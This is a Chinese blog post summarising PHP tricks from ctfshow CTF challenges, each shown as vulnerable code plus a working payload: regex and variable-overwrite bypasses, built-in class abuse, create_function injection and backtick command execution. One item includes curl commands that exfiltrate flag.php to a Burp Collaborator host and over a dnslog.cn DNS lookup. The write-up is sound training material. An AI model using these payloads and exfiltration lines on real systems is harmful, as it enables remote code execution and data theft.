写点什么

CTF 中 PHP 相关题目考点总结(二)

作者:H
  • 2022 年 2 月 16 日
  • 本文字数:5318 字

    阅读完需:约 17 分钟

CTF中PHP相关题目考点总结(二)

介绍

本篇文章主要总结了我在写 ctfshow 题目中遇到的关于 PHP 的考点。因为只总结知识点和考点会比较空洞,也不容易理解,所以我都是通过题目来总结考点,这样的话比较容易理解。

PHP 特性相关考点

一、

考点:php 正则表达式的匹配模式差异。

例题:

show_source(__FILE__);include('flag.php');$a=$_GET['cmd'];if(preg_match('/^php$/im', $a)){           #/i表示不区分大小写,/m表示多行匹配    if(preg_match('/^php$/i', $a)){        echo 'hacker';    }    else{        echo $flag;    }}else{    echo 'nonononono';}
复制代码

例题分析:

字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以 php 开头和以 php 结尾的字符串才会返回 true,否则返回 false/m 多行匹配模式下,若存在换行\n 并且有开始^或结束 $符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下 payload 时,第一个 if 正则匹配会返回 true。但是当不是多行匹配模式的时候也就是在第二个 if 正则匹配中出现换行符%0a的时,$cmd 的值会被当做两行处理,因此当我们传入以下 payload 时,第二个 if 正则表达式匹配到的是 aaaphp,不符合以 php 开头和以 php 结尾会返回 false,从而 echo 出 flag。

payload 如下:

?cmd=aaa%0aphp            #%0a为换行符
复制代码

【相关技术文档】

二、

考点:php 变量覆盖。

例题:

<?phphighlight_file(__FILE__);include('flag.php');error_reporting(0);$error='你还想要flag嘛?';$suces='既然你想要那给你吧!';foreach($_GET as $key => $value){    if($key==='error'){        die("what are you doing?!");    }    $$key=$$value;}foreach($_POST as $key => $value){    if($value==='flag'){        die("what are you doing?!");    }    $$key=$$value;}if(!($_POST['flag']==$flag)){    die($error);}echo "your are good".$flag."\n";die($suces);?>
复制代码

例题分析:

这里利用的是变量覆盖,关键点在

key=key=

value,这里把 $key 的值当作了变量。


例如 $key=flag  则$$key=$flag
复制代码

这里一共有三个变量,$error、$suces 和 $flag;这里通过 die($error)或者 die($suces)都可以输出 flag,所以有两个 payload。

第一种:通过 die($error)输出 flag,首先我们把 $flag 的值传给 $test,接着再把 $test 的值传给 $error,于是 $error 的值就是 flag,再通过 if 判断 die 输出就是 flag。例如 $flag=ctfshow{xxxxx},?test=flag,通过第一个 for 循环,也就是 $test=$flag,从而把变量 flag 的值赋给 test 变量,因此 $test=ctfshow{xxxxx},接着再通过第二个 for 循环,$error=$test,此时 $error=ctfshow{xxxxx} paylload 如下:

?test=flag
post:error=test
复制代码

第二种:通过 die($suces)输出 flag,首先我们把 flag 的值传给 suces 变量,接着再把 flag 的值给置空,以达到下面 if 条件为 0 不执行死亡函数的目的,从而往下执行,die($suces)即可把 flag 输出,payload 如下:

?suces=flag&flag=
复制代码

三、

考点:PHP 异常处理的利用,Exception 处理用于在指定的错误发生时改变脚本的正常流程,是 php 内置的异常处理类。


例题:


<?phphighlight_file(FILE);error_reporting(0);if(isset(_GET['v1']) && isset(_GET['v2'])){_GET['v1'];_GET['v2'];


if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){        eval("echo new $v1($v2());");}}
复制代码


例题分析:


这里传入两个参数,并且都需要有字母,我们用 php 内置类让 v1 不进行报错,v2 执行我们的命令就好了。


Exception 处理用于在指定的错误发生时改变脚本的正常流程,是 php 内置的异常处理类。

所以 payload 如下:

?v1=Exception&v2=system('tac fl36dg.txt')
复制代码

四、

考点一:PHP 变量名由数字字母下划线组成,是没有.的 我从大佬的文章了解到,GET 或 POST 方式传进去的变量名,会自动将空格 + . [转换为_。

例题:

<?phperror_reporting(0);highlight_file(__FILE__);include("flag.php");$a=$_SERVER['argv'];$c=$_POST['fun'];if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){         eval("$c".";");         if($fl0g==="flag_give_me"){             echo $flag;         }    }}
复制代码

例题分析:

这道题其中的一个难点是下面这行代码:

if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))
复制代码

PHP 变量名由数字字母下划线组成,是没有.的 我从大佬的文章了解到,GET 或 POST 方式传进去的变量名,会自动将空格 + . [转换为_。

有一种特殊情况,GET 或 POST 方式传参时,变量名中的 [ 也会被替换为_,但其后的字符就再进行替换了如 CTF[SHOW.COM => CTF_SHOW.COM 所以 payload 如下:

POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
复制代码

很明显这个解是非预期的,其实是可以通过正常步骤得到 flag 的。

出题人的预期解

get: a=1+fl0g=flag_give_mepost: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
复制代码

因为上面的代码中的这个代码语句 $a=$_SERVER['argv']; 会将 url 传入的变量存入数组 a 中,然后我们配合 parse_str 函数从数组 a 中取出 fl0g=flag_give_me,配合 eval 函数,从而给 fl0g 变量赋值,这样就可以绕过 if 语句,从而 echo 出 flag。

$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']query string 是 Uniform Resource Locator (URL)的一部分, 其中包含着需要传给 web application 的数据

这里进行了本地测试,注意需要在 php.ini 开启 register_argc_argv 配置项,测试代码为:

<?php$a=$_SERVER['argv'];var_dump($a);
复制代码



所以如果我们 get 传入变量赋值语句,接着在 post 里面来执行这个赋值语句就可以完美绕过。

五、

考点一:利用 php 内置类 FilesystemIterator 获取指定目录下的所有文件名。

考点二:getcwd()函数的作用时返回当前工作目录。

例题:

<?phphighlight_file(__FILE__);error_reporting(0);if(isset($_GET['v1']) && isset($_GET['v2'])){    $v1 = $_GET['v1'];    $v2 = $_GET['v2'];    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){            die("error v1");    }     if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){            die("error v2");    }
eval("echo new $v1($v2());");}?>
复制代码

例题分析:

这里正则进行了匹配,我们可以使用 FilesystemIterator 文件系统迭代器来进行利用,通过新建 FilesystemIterator,使用 getcwd()来显示当前目录下的所有文件的文件名,payload 为:

?v1=FilesystemIterator&v2=getcwd
复制代码

知道 flag 所在文件的文件名和目录后直接访问即可获得 flag。

六、

考点一:PHP 中逻辑运算符 &&运算符比||运算符优先级高。

考点二:PHP 中逻辑运算符 &&和||执行的流程。

例题:

<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){    $username = (String)$_GET['username'];    $password = (String)$_GET['password'];    $code = (String)$_GET['code'];    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){ echo $flag; } }}
复制代码

例题分析:

分析代码:由于 &&运算符比||运算符优先级高,并且我们不知道随机数产生啥,所以 $code === mt_rand(1,0x36D)的结果是 false,同时我们看到 code 的值需要为 admin,所以我们设置 code=admin,又由于与运算(&&)一假则假,所以不再判断 $password === $flag 的部分,然后就变成了:

if(false|| $username ==="admin")
复制代码

又由于或运算(||)一真则真,所以我们只要把 username 设置成 admin 即可,所以 payload 如下:

?username=admin&code=admin&password=1
复制代码

补充:

一、PHP 中逻辑运算符 &&和||的分析:

首先,我给出一段代码:

<?php    $test="李四";    $test=="张三"&&$test="张三来了";    echo $test;  //输出“李四”    $test="李四";    $test=="张三"||$test="张三不在这里";    echo $test;  //输出“张三不在这里”?>
复制代码

为什么会产生这样的结果呢?如果按照平常的方法,我们最少要用个 IF 语句来判断。可现在只是两个逻辑运算就会把变量的值给改变了。下面我们来分析一下它的运行原理。

在参与逻辑运算的两边表达式中,是按照从左到右顺序进行运算的。而“与”运算中只要有一个是假,整个表达式的结果为假。所以,当左边表达式为假时,就无 需再进行运算了。这样的处理无疑对程序的运行效率是大有好处的。所以说正如题目所说,是一种高效的用法。而逻辑或就不同了:只要一个为真那整个表达式就为 真。所以,在左边为假的情况下,还要运行右边的表达式判断。明白或理解了上面所说,也就对结果不感到奇怪了。

最后,我们做以下总结:对于“与”(&&) 运算: x && y x false 时,直接跳过,不执行 y;对于“或”(||) 运算 : x||y x true 时,直接跳过,不执行 y

二、PHP 运算符优先级一览表:

对具有相同优先级的运算符来说,从左向右的结合方向意味着将从左向右求值,从右向左结合方向则反之。对于无结合方向的则具有相同优先级的运算符,该运算符有可能无法与其自身结合。

对具有相同优先级的运算符来说,从左向右的结合方向意味着将从左向右求值,从右向左结合方向则反之。对于无结合方向的则具有相同优先级的运算符,该运算符有可能无法与其自身结合。

七、

考点一:命令执行的骚操作:curl -F 命令的使用。

考点二:Burp Collaborator 的使用和带外攻击的概念与流程。

例题:

<?phperror_reporting(0);highlight_file(__FILE__);//flag.phpif($F = @$_GET['F']){    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){        eval(substr($F,0,6));    }else{        die("6个字母都还不够呀?!");    }}
复制代码

例题分析:

这个题主要是考察,命令执行的骚操作和 curl -F 的使用,分析一下代码发现仿佛是只能读取前面 6 个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。那如果我们传递的参数就是$F本身,会不会发生变量覆盖?

那我们来一个简单的测试。

我们传递?F=`$F`;+sleep 3   发现网站确实sleep了一会,说明的确执行了sleep命令**那为什么会这样?**因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。而$F就是我们输入的`$F`;+sleep 3    所以最后执行的代码应该是``$F`;+sleep 3`,所以就可以成功执行sleep函数这里可能有点绕,可以慢慢理解下。
复制代码

然后就是利用 curl 去带出 flag.php

# payload:#其中-F 为带文件的形式发送post请求#xx是上传文件的name值,flag.php就是上传的文件 # payload中的url地址是我们从Collaborator Client上获取到的,点击copy to clipboard即可获得
?F=`$F`;+curl -X POST -F xx=@flag.php http://qa42kvxuxk5mxr5twr0d84hgf7lx9m.burpcollaborator.net
复制代码

我们在目标页面输入 payload 并发送后,然后点击 Poll now 即可看到 Burp 的 Collaborator 服务器与目标服务器的通信数据包,从而我们可以看到 flag。



另外我们还可以利用 dns 带外来获取 flag:

payload:
?F = `$F`; curl `cat flag.php|grep "flag"`.hxmwnm.dnslog.cn
复制代码

补充:

**Burp Collaborator 的使用和带外攻击的概念与流程总。结:**https://blog.csdn.net/fageweiketang/article/details/89073662

八、

考点一:使用create_function()代码注入

考点二:php 里的默认命名空间相关知识

例题:

<?phphighlight_file(__FILE__);
if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); }}
复制代码

这道题对 ctf 变量进行了一个正则表达式过滤,post 传参的ctf和 get 传参的show进行了组合,这里我们可以使用create_function()进行代码注入

string create_function ( string args , string args , string code )

string $args 变量部分 string $code 方法代码部分

#本地测试代码create_function('$test','echo $test."very cool"')//等于function f($test){    echo $test."very cool";} 
/*利用如下如果我们第二个参数输入的是'echo 111;}phpinfo();//'即可把前面的方法括号给闭合并且成功执行phpinfo命令,后面用//注释掉后边的语句也就是下面这个结构*/function f($dotast){ echo 111;}phpinfo();//}
复制代码

而正则表达式我们可以用\进行绕过,正好\在 php 里代表默认命名空间。

php 里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名 function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果是\function_name()这样的形式去调用函数,则是表示写了一个绝对路径。 如果你在其他 namespace 里调用系统类,必须使用绝对路径的写法

最终 payload 为

?show=echo 123;}system("tac flag.php");//
post:ctf=\create_function
复制代码


用户头像

H

关注

还未添加个人签名 2021.08.04 加入

还未添加个人简介

评论

发布
暂无评论
CTF中PHP相关题目考点总结(二)